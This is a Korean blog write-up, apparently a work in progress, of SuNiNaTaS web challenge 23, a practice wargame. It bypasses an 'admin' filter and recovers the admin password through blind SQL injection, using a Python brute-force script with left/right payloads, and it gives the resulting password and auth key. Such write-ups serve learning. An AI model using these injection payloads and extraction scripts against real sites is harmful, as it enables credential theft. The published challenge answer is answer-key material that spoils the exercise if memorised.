본문 바로가기
해킹/suninatas (써니나타스)

써니나타스 웹 23번 풀이(작성중)

by yenua 2022. 6. 5.
반응형

http://suninatas.com/challenge/web23/web23.asp

 

이번 문제는 지난 22번 문제의 심화버전이라고 할 수 있을 것 같다.

admin에 대한 필터링이 추가되었고, substring이 추가된 대신에 left, right가 사라졌다.

 

힌트를 보면 22번과 마찬가지로 admin의 비밀번호를 찾아내는 것이 목표이고, 이번에는 admin 문자열도 우회 해야한다.

admin 단어에 대한 필터링이 되어있는데, 다른 분들의 write-up을 참고하니 ad+min 이런식으로 쪼개서 표현하는 것으로 해결할 수 있다고 한다.

위와 같이 정상적으로 로그인이 되는 모습을 확인할 수 있다. 여기서 중요한 점은 내가 평소에 쓸 데 없는 입력란에 asdf를 많이 사용하는 편인데, as 도 필터링 되어있어서 No hack 이 뜨게 된다.

이것저것 입력해본 결과 as 과 대부분의 특수문자를 필터링 하고 있으며, 이전 문제와 달리 길이 제한도 존재한다.

id는 30자까지, pw는 12자까지만 입력할 수 있고, 이 이상 입력하면 No hack으로 처리된다.

 

문자를 쪼개서 표현하는 방법 말고도 한가지가 더 있었는데, 첫번째 참고자료에 자세히 나와있다. 나의 풀이에는 별로 중요하지 않으니 넘어가겠다.

 

이번에도 버프 스위트 repeater 기능을 이용하여 admin의 pw 길이가 12 임을 알아내었다.

 

 

import requests
import time

URL="http://suninatas.com/challenge/web23/web23.asp"

string = [[] for i in range(12) ]

"""
#url = URL+"?id=ad'+'min'and left(pw, 1)='V'--&pw=12"
url = URL+"?id=ad'%2b'min'and%20left(pw%2c%201)%3d'V'--&pw=12"
res = requests.get(url)
print(res.text)
if "OK" in res.text:
    print("admin login!")
"""

start = time.time()
for i in range(12):
    for j in range(33, 127):
        #url = URL+"?id='or left(pw, {})='{}'--&pw=12".format(i+1, string + chr(j))
        #url = URL+"?id=ad'%2b'min'and%20left(pw%2c{})%3d'{}'--&pw=12".format(i+1, string + chr(j))
        url = URL+"?id='or%20left(right(pw%2c{})%2c1)%3d'{}'--&pw=12".format(12-i, chr(j)) #G3GGGAGDSELI ???
        #print(url)
        res = requests.get(url)
        if "OK" in res.text:
            print("found!:{} : {}".format(i+1, chr(j)))
            #print(res.text)
            string[i].append(chr(j))
            #break
        #elif "No hack" in res.text:
            #print("no hack!:{} : {}".format(i+1, chr(j)))

end = time.time()
print(end - start)

print(string)

#으로 주석처리된 부분들은 제대로 인식되지 않은 페이로드, 또는 길이제한으로 인해 문제가 생긴 코드이다.

 

대문자 소문자 구분없이 다 나오는데, substring은 실제 문자열을 기반으로 자르는 것이지만, left와 right는 해당 문자열에 어떠한 하나의 문자가 있는지를 대소문자 구문없이 찾기 때문에 이런 결과가 나온 것 같다.

 

로그인은 아래와 같이 입력하여 가능하다. 비밀번호는 대소문자 구분없이 그냥 로그인이 된다. 

id: ad'+'min

pw: V3RYHARDSQLI 

 

인증 키는 소문자로만 인증이 가능하다.

AUTHKEY: v3ryhardsqli

 

참고자료

https://ykarma1996.tistory.com/49?category=1011835 

admin 문자열의 우회 방법이 하나더 있는데, 'or id<'b' 이 방법과 비슷한 방법으로 right를 사용하여 문제를 풀이하였음.

가장 완벽한 풀이(방식은 다름)

 

https://hackchang.tistory.com/92?category=816109 

ad'+'min' and ~~ 에서 admin을 입력하지 않고 'or ~~ 으로도 획득 가능하다는 아이디어를 제공

해당 블로거의 환경에서는 admin에 대해서만 적용이 되지만, 내 환경에서는 guest의 정보도 같이 조회되어 게싱의 과정이 필요했음

이 이유는 찾아내지 못했음.. admin에 대한 기록이 있어야 하는 건가 싶어 """으로 주석처리한 부분처럼, 한번 OK admin이 띄워지게 한 후, 페이로드들이 실행되게 했었음에도 guest 정보가 떴다.

남은 이유는 세션값 설정 유무인데.. 이게 될까 싶기도 하고 귀찮으니 패스

 

https://harin-luna.tistory.com/entry/Suninatas-23%EB%B2%88-%EB%AC%B8%EC%A0%9C

left, right의 혼합 사용으로 한글자씩 비교가 가능하다는 아이디어를 제공.

해당 글에서 문제가 된 부분을 해결하였음.

반응형